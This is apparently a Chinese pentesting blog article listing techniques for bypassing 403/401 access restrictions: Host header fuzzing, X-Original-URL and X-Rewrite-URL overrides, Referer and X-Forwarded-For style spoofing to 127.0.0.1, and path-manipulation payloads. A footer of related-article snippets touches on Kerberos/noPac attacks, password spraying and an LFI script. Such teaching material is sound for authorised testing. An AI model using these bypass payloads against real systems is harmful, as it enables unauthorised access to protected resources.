干货 | 渗透中403/401页面绕过的思路总结

VSole2022-08-29 19:11:45

0x01 前言

做渗透时经常会碰到扫到的资产403的情况,特别是资产微乎其微的情况下,面试有时也会问到,这里做个总结!

0x02 利用姿势

1.端口利用

扫描主机端口,找其它开放web服务的端口,访问其端口,挑软柿子。

2.修改HOST

Host在请求头中的作用:在一般情况下,几个网站可能会部署在同一个服务器上,或者几个web系统共享一个服务器,通过host头来指定应该由哪个网站或者web系统来处理用户的请求。而很多WEB应用通过获取HTTP HOST头来获得当前请求访问的位置,但是很多开发人员并未意识到HTTP HOST头由用户控制,从安全角度来讲,任何用户输入都是认为不安全的。

修改客户端请求头中的Host可以通过修改Host值修改为子域名或者ip来绕过来进行绕过二级域名;首先对该目标域名进行子域名收集,整理好子域名资产(host字段同样支持IP地址)。先Fuzz测试跑一遍收集到的子域名,这里使用的是Burp的Intruder功能。若看到一个服务端返回200的状态码,即表面成功找到一个在HOST白名单中的子域名。我们利用firefox插件来修改HOST值,成功绕过访问限制。

3.覆盖请求URL

尝试使用X-Original-URLX-Rewrite-URL标头绕过Web服务器的限制。通过支持X-Original-URLX-Rewrite-URL标头,用户可以使用这俩请求标头覆盖请求URL中的路径,尝试绕过对更高级别的缓存和Web服务器的限制

Request
GET /auth/login HTTP/1.1
Response
HTTP/1.1 403 Forbidden
Reqeust
GET / HTTP/1.1
X-Original-URL: /auth/login
Response
HTTP/1.1 200 OK
或者:
Reqeust
GET / HTTP/1.1
X-Rewrite-URL: /auth/login
Response
HTTP/1.1 200 OK

4.Referer标头绕过

尝试使用Referer标头绕过Web服务器的限制。

介绍:Referer请求头包含了当前请求页面的来源页面的地址,即表示当前页面是通过此来源页面里的链接进入的。服务端一般使用Referer请求头识别访问来源。

Request
GET /auth/login HTTP/1.1
Host: xxx
Response
HTTP/1.1 403 Forbidden
Reqeust
GET / HTTP/1.1
Host: xxx
ReFerer:https://xxx/auth/login
Response
HTTP/1.1 200 OK
或者
Reqeust
GET /auth/login HTTP/1.1
Host: xxx
ReFerer:https://xxx/auth/login
Response
HTTP/1.1 200 OK

5.代理IP

一般开发者会通过Nginx代理识别访问端IP限制对接口的访问,尝试使用X-Forwarded-ForX-Forwared-Host等标头绕过Web服务器的限制。

X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwared-Host: 127.0.0.1
X-Host: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
如:
Request
GET /auth/login HTTP/1.1
Response
HTTP/1.1 401 Unauthorized
Reqeust
GET /auth/login HTTP/1.1
X-Custom-IP-Authorization: 127.0.0.1
Response
HTTP/1.1 200 OK

6.扩展名绕过

基于扩展名,用于绕过403受限制的目录。

site.com/admin => 403
site.com/admin/ => 200
site.com/admin// => 200
site.com//admin// => 200
site.com/admin/* => 200
site.com/admin/*/ => 200
site.com/admin/. => 200
site.com/admin/./ => 200
site.com/./admin/./ => 200
site.com/admin/./. => 200
site.com/admin/./. => 200
site.com/admin? => 200
site.com/admin?? => 200
site.com/admin??? => 200
site.com/admin..;/ => 200
site.com/admin/..;/ => 200
site.com/%2f/admin => 200
site.com/%2e/admin => 200
site.com/admin%20/ => 200
site.com/admin%09/ => 200
site.com/%20admin%20/ => 200

7.扫描的时候

遇到403了,上目录扫描工具,扫目录,扫文件(记住,扫描的时候要打开探测403,因为有些网站的目录没有权限访问会显示403,但是在这个目录下面的文件,我们或许能扫描到并访问 )

8.最后补充再一些401和403 bypass的tips(由HACK学习整理补充)

Github上一些bypass 403的脚本

https://github.com/sting8k/BurpSuite_403Bypasser
https://github.com/yunemse48/403bypasser
https://github.com/devploit/dontgo403
https://github.com/daffainfo/bypass-403

以及403bypass的wiki

https://kathan19.gitbook.io/howtohunt/status-code-bypass/403bypass

hostadmin
本作品采用《CC 协议》,转载必须注明作者和本文链接
vulnhub 靶场 napping
2022-09-29 07:34:39
信息收集主机发现:sudo nmap -sn 192.168.56.1/24. -sC Performs a script scan using the default set of scripts. It is equivalent to --script=default. Some of the scripts in this category are considered intrusive and should not be run against a target network without permission.-sV Enables version detection, as discussed above. Alternatively, you can use -A, which enables version detection among other things.-p This option specifies which ports you want to scan and overrides the default. Individual port numbers are OK, as are ranges separated by a hyphen . The beginning and/or end values of a range may be omitted, causing Nmap to use 1 and 65535, respectively. So you can specify -p- to scan ports from 1 through 65535. Scanning port zero is allowed if
通读审计之信呼OA
2021-10-21 09:39:45
信呼OA是一款自主MVC的办公系统,官网:http://www.rockoa.com/
如果从PowerShell控制台执行操作,Shitsecure开发了一个PowerShell脚本Invoke-noPac,它将.NET 程序集noPac嵌入到base64中,由于该工具实际上是noPac,因此可以使用相同的参数来检索票证Import-Module .\Invoke-noPAC.ps1. 使用PowerSploit的Set-DomainObject从已创建的机器帐户中删除服务主体名称值是微不足道的Set-DomainObject?由于TGT已存储在内存中,因此可以使用S4U2self kerberos扩展代表域管理员请求服务票证,由于原始票据属于dc用户,但由于sam帐户名称已被重命名,因此Kerberos将查找dc$,它是一个有效的机器帐户,并将为所请求的服务签发票据./Rubeu
与标准用户帐户相比计算机帐户的名称末尾附加了$符号,默认情况下Microsoft操作系统缺乏可以防止许多攻击的安全控制和强化措施,此外多年来已经证明Windows生态系统中许多事物工作方式可以通过利用现有功能和工作流程来实现滥用 具体来说,活动目录中的每个帐户在sAMAccountName属性中都有自己的名称,但是由于没有控制导致可以任意使用,因此任何拥有控制权和对象(即机器帐户)的用户都可以修
目前Linux内核代码已经达到了2700万行量级[2],仅每年通报的Linux内核漏洞就多达数十个。Linux内核主要使用C语言编写,由于C语言不是类型安全语言,而且偏底层,所以各种内存破坏类漏洞层出不穷。攻击者利用内核漏洞可以达到本地提权的目的。容器技术本身依赖于Linux内核提供的Namespaces和Cgroups机制,利用内核漏洞,攻击者可以绕过Namespaces对资源的隔离,达到逃逸的
PowerView:横向移动
2021-09-29 05:48:48
使用SharpHound.ps1的Invoke-BloodHound 或者使用SharpHound.exe。两者都可以反射性地运行,在这里得到它们。 下面的例子使用PowerShell的变体,但参数是相同的。
声明:本人坚决反对利用文章内容进行恶意攻击行为,一切错误行为必将受到惩罚,绿色网络需要靠我们共同维护,推荐大
验证子域邮箱名Invoke-DomainHarvestOWA-ExchHostname -Domain -UserList .\userName.txt -OutFile sprayed-ews-creds.txt. Office 365近源渗透物理渗透、物理攻击、近源渗透,这几个的意思都是在接近目标进行安全测试。Wi-Fi网线没有终端准入控制,直接插网线 DHCP 获取 IP。Bad USBBlack Hat 上提出 Bad USB。社会工程学在信息收集过程中就开始。钓鱼本质是利用人的信任。Windows 主机FTP服务端开启 FTP 服务。使用 certutil 下载的文件会原封不动在?目录下保存一份,文件名位随机字符,使用 delete 可以删除刚下载的缓存。
主要功能配合使用工具(如Mimikatz)扫描本地密码,并将密码写入source/pass_list.txt 以下工具(1)简称(1)(1)检测域。检测到域后,工具 (2)自动使用 “net user /domain”等语法检测判断域用户(3)探索其他存活域主机:自动将网段IP信息写入source/ip_list.txt)语法:for /L %I in (1,1,254) DO @ping -w
靶机Agile补充图片
2023-03-22 10:04:15
Nmap done: 1 IP address scanned in 171.68 seconds. 添加host└─# echo "10.10.11.203 superpass.htb" >> /etc/hosts. 注册个账号就读取了。我们可以在 python 中创建一个脚本,自动实现这个过程,只需要输入的文件路径└─# cat lfi.py. data = {"username": "123", "password": "123", "submit": ""}
VSole
网络安全专家